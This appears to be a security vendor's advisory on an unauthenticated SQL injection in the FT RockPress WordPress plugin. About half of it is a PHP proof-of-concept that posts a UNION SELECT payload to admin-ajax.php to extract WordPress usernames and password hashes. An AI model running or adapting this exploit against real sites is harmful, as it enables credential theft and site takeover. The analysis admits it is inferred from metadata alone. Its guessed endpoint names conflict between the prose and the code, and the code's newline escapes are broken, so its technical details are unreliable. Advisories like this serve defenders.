Atomic Edge analysis of CVE-2026-3550 (metadata-based):
The vulnerability is a critical security flaw in the FT RockPress WordPress plugin. It allows unauthenticated attackers to execute arbitrary SQL commands on the underlying database. The vulnerability stems from insufficient input validation in a public-facing plugin component, likely an AJAX handler or REST API endpoint.
Atomic Edge research indicates the root cause is a direct SQL injection vulnerability. The CWE classification and description confirm the plugin fails to properly sanitize or parameterize user-supplied input before incorporating it into SQL queries. This inference is based on the vulnerability type. Without source code, the exact vulnerable function cannot be confirmed, but the pattern matches common WordPress plugin flaws where user input is passed directly to `$wpdb->query()` or similar methods without using prepared statements.
Exploitation occurs by sending crafted HTTP requests to a specific plugin endpoint. Attackers likely target `/wp-admin/admin-ajax.php` with a malicious `action` parameter corresponding to a vulnerable FT RockPress AJAX hook, such as `ft_rockpress_action`. The payload would be injected through other request parameters, like `id` or `slug`, containing SQL syntax to manipulate the database query. A typical payload might be `1′ UNION SELECT user_login,user_pass FROM wp_users– -` to extract user credentials.
Remediation requires implementing proper input validation and using parameterized queries. The plugin must replace all direct string concatenation in SQL statements with WordPress’s `$wpdb->prepare()` function or equivalent prepared statements. All user input must be validated against a strict allowlist or properly escaped for its intended context. Nonce and capability checks should also be added to restrict endpoint access if missing.
Successful exploitation grants attackers full read/write access to the WordPress database. This enables complete site compromise, including extraction of sensitive user data (hashed passwords, personal information), creation of administrative accounts, modification of existing content, and in some configurations, potential remote code execution via plugin or theme file writes.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3550 - FT RockPress Plugin Unauthenticated SQL Injection
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// Based on WordPress plugin patterns, the AJAX action likely follows the plugin slug.
// Common patterns: 'ft_rockpress_*', 'rockpress_*', 'ft_rp_*'.
// This PoC tests a common vulnerable action name.
$ajax_action = 'ft_rockpress_get_data';
// Malicious parameter. The 'id' parameter is frequently vulnerable in WordPress plugins.
$sql_payload = "1' UNION SELECT user_login,user_pass FROM wp_users WHERE '1'='1";
$post_data = array(
'action' => $ajax_action,
'id' => $sql_payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Set a realistic User-Agent
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent payload to: $target_urln";
echo "HTTP Status: $http_coden";
echo "Response (first 500 chars):n" . substr($response, 0, 500) . "n";
// Analyze response for signs of successful injection
if (strpos($response, 'user_login') !== false || strpos($response, 'admin') !== false) {
echo "[!] Potential SQL injection success. Check response for database data.n";
} else if (strpos($response, 'SQL syntax') !== false || strpos($response, 'database') !== false) {
echo "[!] SQL error message detected, confirming injection point.n";
}
?>